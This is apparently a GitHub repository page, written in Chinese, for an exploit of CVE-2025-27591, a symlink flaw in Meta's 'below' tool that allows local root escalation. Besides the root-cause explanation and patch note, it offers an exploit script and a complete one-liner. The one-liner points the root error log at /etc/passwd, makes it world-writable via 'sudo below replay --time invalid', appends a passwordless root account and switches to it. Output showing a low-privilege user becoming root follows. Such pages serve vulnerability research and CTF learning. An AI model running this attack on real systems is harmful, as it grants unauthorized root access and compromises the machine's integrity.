rippsec/CVE-2025-27591-Meta-below-LPE

GitHub: rippsec/CVE-2025-27591-Meta-below-LPE

该工具演示并验证 CVE-2025-27591 符号链接触发的本地提权漏洞。

Stars: 0 | Forks: 0

# CVE-2025-27591 — Meta `below` 符号链接本地提权 ## 概述 | 字段 | 详情 | |---|---| | **CVE** | CVE-2025-27591 | | **软件** | Meta `below`(系统资源监控工具) | | **受影响版本** | < 0.9.0 | | **漏洞类型** | 符号链接触发 → 以 root 身份任意文件覆盖 | | **认证要求** | 具有 `below` sudo 权限的本地用户 | | **影响** | 本地提权至 root | | **发现背景** | 在 HackTheBox CTF 期间发现 | ## 描述 Meta Platforms, Inc. 开发的系统资源监控工具 `below` 在其错误日志记录机制中存在缺陷。当通过 `sudo` 调用时,它会在未检查目标路径是否为符号链接的情况下,强制对位于 `/var/log/below/` 的日志文件设置 `0666` 权限。这使得本地攻击者可以将日志文件替换为指向任意 root 可写文件的符号链接,从而以可控内容覆盖目标文件。 ## 技术细节 ### 根本原因 `below < 0.9.0` 中的日志代码在以 root 身份运行时按顺序执行以下操作: 1. 确定日志路径:`/var/log/below/error_root.log` 2. 创建或打开文件 3. 调用 `chmod(path, 0o666)` —— **未检查是否为符号链接** 4. 将错误消息写入路径 在第 4 步中,如果路径在此前已被替换为符号链接,写入操作将实际作用于符号链接的目标文件。 ### 利用链 ``` Local user │ ▼ Remove /var/log/below/error_root.log │ ▼ Create symlink: /var/log/below/error_root.log → /etc/passwd │ ▼ Trigger error via: sudo /usr/bin/below replay --time "invalid" │ (below opens the "log file", chmod 0666 hits /etc/passwd, writes error) ▼ /etc/passwd is now world-writable │ ▼ Append rogue root entry: rooted::0:0:root:/root:/bin/bash │ ▼ su rooted → root shell ``` ### 为什么 `--time "invalid"` 有效 传递无效的时间字符串会强制 `below` 记录一条错误信息。错误路径会进入日志代码并盲目写入文件,此时该文件已变为我们的符号链接。 ## 使用方法 ``` chmod +x exploit.sh ./exploit.sh ``` ### 单行命令 ``` rm -f /var/log/below/error_root.log; \ ln -s /etc/passwd /var/log/below/error_root.log; \ sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1; \ echo 'rooted::0:0:root:/root:/bin/bash' > /var/log/below/error_root.log; \ su rooted ``` ## 概念验证 ``` $ whoami lowpriv $ ./exploit.sh # whoami root ``` ## 补丁 `below` 版本 `0.9.0` 已修复该漏洞。修复方案在日志路径的任何文件操作前引入了符号链接检查。 ## 参考 - [NVD 条目](https://nvd.nist.gov/vuln/detail/CVE-2025-27591) - [Meta below GitHub](https://github.com/facebookincubator/below)
标签:0666权限, chmod, Cutter, CVE-2025-27591, /etc/passwd, HackTheBox CTF, Linux提权, Meta below, Privilege Escalation, root权限, sudo提权, /var/log/below/error_root.log, 任意文件覆盖, 威胁模拟, 文件写入漏洞, 文件权限绕过, 日志安全, 日志文件篡改, 本地权限提升, 符号链接跟随, 系统资源监控, 路径遍历, 错误日志机制